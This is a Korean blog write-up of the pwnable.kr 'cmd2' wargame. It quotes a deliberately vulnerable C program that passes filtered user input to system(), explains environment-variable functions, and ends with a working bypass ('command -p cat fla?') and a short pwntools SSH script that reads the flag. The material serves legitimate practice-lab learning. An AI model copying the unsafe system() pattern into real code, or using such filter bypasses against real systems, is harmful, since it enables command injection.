power-girl0-0

[pwnable] cmd2 풀이 본문

War game/pwnable.kr

[pwnable] cmd2 풀이

power-girl0-0 2022. 2. 21. 01:19
728x90

 

안녕하십니까!!! ( ͡~ ͜ʖ ͡°)


1. 문제

이번 문제에서도 cmd2 바이너리 파일과 cmd2의 c코드가 주어지며, flag 바이너리가 존재한다.

cmd2의 c코드는 아래와 같다.

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

 

2. 풀기 전, 알고가기!

① 환경변수 

    - 현재 사용하는 쉘의 실행파일에 대한 위치를 저장하는 변수이다.

    - 변수명과 값으로 구성되어 있다. 

    - 리눅스의 환경변수 설정에 관해, 잘 나와 있는 페이지 : https://wikidocs.net/72712

 

② strstr(찾을 대상, 찾고자 하는 문자열)

     - 문자열을 찾는 함수이다.

     - 찾고자 하는 문자열이 찾을 대상에 존재하는지 찾아주는 함수이다.

    - 문자열이 존재하면 위치를 반환하고, 없으면 NULL값을 반환한다. 

 

③ extern char** environ

     - 환경변수 목록을 갖고 있는 전역변수이다.

     - environ은 C언어에 만들어져 있는 전역변수이다.

 

④ getenv

     - 매개변수 값과 일치하는 환경변수의 name이 갖고 있는 value를 가져오는 함수이다.

     - 리턴값 : 실행이 성공하면 내용에 대한 포인터를 반환하고, 실패 시 NULL을 반환한다.

 

⑤ putenv 

     - name=value 형식으로, 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.

     - 환경변수가 존재하면 매개변수 값에 따라 환경변수가 변경되고,

       존재하지 않으면 매개변수 값이 새로운 환경변수가 된다.  

     - 리턴값 : 실행이 성공하면 0을 반환하고, 오류가 발생하면 -1 을 반환한다. 

 

⑥ setenv

     - name과 value를 별도로 취한다.

     - 기존의 환경변수를 변경하거나 새로운 환경변수를 생성하여 값을 설정한다.

 

⑦ putenv와 setenv 차이점

     - putenv 문제점 : 인자로 받은 값에 대한 포인터를 환경변수로 설정한다.  

                                  즉, 자동변수 경우 해당 함수가 끝나면 메모리가 해제되면서 환경변수는 쓰레기 값을 갖게 되어 버린다.

    - putenv 해결점 :   1> 동적할당(malloc)을 사용한다.   2>  setenv를 사용한다.

    - setenv가 해결방안인 이유 : 인자로 받은 값을 복사하여, 환경변수로 설정한다.

 

⑧ Bash 내장 명령어

    - 참고 : https://www.gnu.org/software/bash/manual/html_node/Bash-Builtins.html

 

3. 풀이  및  flag획득.

 command -p

     옵션에서 -p는  PATH 의 기본값을 사용할 수 있게 된다. 

     즉, cat명령어를 /bin/cat과 같이 경로를 작성하지 않아도 사용할 수 있다는 의미이다.

 

② set -s

     set 명령어는 사용자 환경 변수 설정 및 조회가 가능하다.

     ( 참고 : https://wikidocs.net/72712 )

 

read

     리눅스 명령어 중 read는 특정 변수에 사용자가 입력한 값을 기억시킬 수 있다.

     그래서, 스크립트 파일을 만들면 사용자로부터 값을 입력받아서 변수에 설정하고 필요할 때 해당 값을 사용할 수 있다.

     참고로 인자 값을 줄 때, 작은따옴표(')는 꼭 들어가야 한다.

     작은 따옴표가 없으면 코드가 실행되기 때문에,

     작은따옴표(')를 사용해서 문자열로 인식하게 하고 system함수를 통해, 실행시키면 되는 것이다. 

     (참고 : https://youtu.be/6os_UHBI2ps )

 

4. pwntool을 이용하여, flag획득

from pwn import *

p = ssh("cmd2","pwnable.kr",port=2222, password="mommy now I get what PATH environment i
s for :)")
file = b'./cmd2'
arg = 'command -p cat fla?'

p1 = p.process([file, arg])
p1.interactive()

 


안녕히계십쇼!! (〃` 3′〃)

 

 

 

728x90

'War game > pwnable.kr' 카테고리의 다른 글

[pwnable] blackjack 풀이  (0) 2022.03.16
[pwnable] coin1 풀이  (0) 2022.03.11
[pwnable] cmd1 풀이  (0) 2022.02.20
[pwnable] mistake 풀이  (0) 2022.02.16
[pwnable] random 풀이  (0) 2022.02.13
Comments